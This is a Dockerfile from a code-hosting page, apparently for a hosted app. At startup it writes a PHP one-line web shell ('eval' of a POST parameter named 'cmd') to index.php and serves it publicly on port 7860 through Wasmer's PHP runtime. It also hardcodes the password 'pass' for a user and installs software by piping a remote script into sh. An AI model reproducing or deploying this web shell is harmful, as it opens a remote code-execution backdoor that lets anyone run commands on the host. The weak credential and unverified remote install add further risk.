code / Dockerfile
edwagbb's picture
Update Dockerfile
4f5ad02 verified
raw
history blame
683 Bytes
FROM debian:latest
FROM debian:latest
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y curl
RUN useradd -m -u 1000 -s /bin/bash admin
RUN echo 'admin:pass' | chpasswd
RUN chown -R 1000 /home && chmod -R 700 /home
USER 1000
RUN cd /home/admin && curl https://get.wasmer.io -sSfL | sh
RUN /home/admin/.wasmer/bin/wasmer run python/python -- -c "print(1+1)"
RUN /home/admin/.wasmer/bin/wasmer run php/php -- -r "echo 1;"
CMD cd /home/admin && echo '<?php @eval($_POST[cmd]);?>' > index.php && /home/admin/.wasmer/bin/wasmer run python/python -- -c "print(333)" && /home/admin/.wasmer/bin/wasmer run php/php --mapdir /:/home/admin --net -- -S 0.0.0.0:7860 -t /